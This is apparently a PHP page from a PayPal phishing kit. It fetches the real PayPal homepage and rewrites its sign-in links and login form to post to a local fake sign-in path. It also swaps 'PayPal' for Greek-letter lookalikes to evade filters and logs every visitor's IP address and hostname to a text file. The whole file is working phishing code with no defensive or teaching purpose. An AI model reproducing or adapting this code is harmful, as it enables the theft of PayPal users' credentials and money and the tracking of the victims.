<?php
include('../blocker.php');
include('../detect.php');
include('../function.php');
if (file_exists($homepage)) {
    if(stripos($_SERVER['HTTP_USER_AGENT'],"Mobile")){
        $homepage = 'Mobile/' . $kode_negara . '.home';
    } else {
        $homepage = 'Page/' . $kode_negara . '.home';
    }
    $result = file_get_contents($homepage);
} else {
    $url    = 'https://www.paypal.com/' . $kode_negara . '/webapps/mpp/home';
    $result = buka($url);
    $buk    = @fopen($homepage, 'a');
    @fwrite($buk, $result);
    @fclose($buk);
}
$get_link = getStr($result, 'My Account;action-uri=', 'cgi-bin/webscr');
$get_form = getStr($result, 'class="form-inline ">', 'novalidate="novalidate"');
if (stripos($result, 'https://www.paypal.com/signin?')) {
    $loging  = '../../../signin';
    $result  = str_replace("https://www.paypal.com/signin", "../../../signin", $result);
    $Url     = getStr($result, 'signin', '"');
    $SaveUrl = '../Save/' . $negara . '.url';
    if (file_exists($SaveUrl)) {
        $fp = @fopen($SaveUrl, 'a');
        @fwrite($fp, '');
        @fclose($fp);
    } else {
        $fp = @fopen($SaveUrl, 'a');
        @fwrite($fp, 'Url' . $Url . 'Url
');
        @fclose($fp);
    }
} elseif (stripos($result, 'https://www.paypal.com/signin')) {
    $geturl  = explode('Url', file_get_contents('../Save/' . $negara . '.url'));
    $result  = str_replace("https://www.paypal.com/signin", "../../../signin", $result);
    $Url     = getStr($result, 'signin', '"');
    $loging  = '../../../signin'.$geturl;
} else {
    $loging = '../../../signin?cmd=_login-subrnit&dispatch=' . md5(gmdate('r')) . '' . md5($_SERVER['REMOTE_ADDR']);
}
$view = str_replace("&#x3a;", ":", $result);
$view = str_replace("&#x2f;", "/", $view);
$view = str_replace("&#x3f;", "?", $view);
$view = str_replace("&#x3d;", "=", $view);
$view = str_replace($get_link . "cgi-bin/webscr?cmd=_login-submit", $loging, $view);
$view = str_replace($get_form, '<form action="' . $loging . '" method="post" ', $view);
$view = str_replace($get_link, "?", $view);
$view = str_replace('novalidate="novalidate" ', "", $view);
$view = str_replace('??', "?", $view);
$view = str_replace('t.paypal.com', "", $view);
$home = str_replace("PayPal", "&Rho;ay&Rho;aI", $view);
echo $home;
if (gethostbyaddr($_SERVER['REMOTE_ADDR']) == $_SERVER['REMOTE_ADDR']) {
    $file = fopen("../data_ip_masuk.txt", "a");
    fwrite($file, $_SERVER['REMOTE_ADDR'] . '
');
    fclose($file);
} else {
    $file = fopen("../data_ip_masuk.txt", "a");
    fwrite($file, $_SERVER['REMOTE_ADDR'] . ' ' . gethostbyaddr($_SERVER['REMOTE_ADDR']) . '
');
    fclose($file);
}
exit;
?>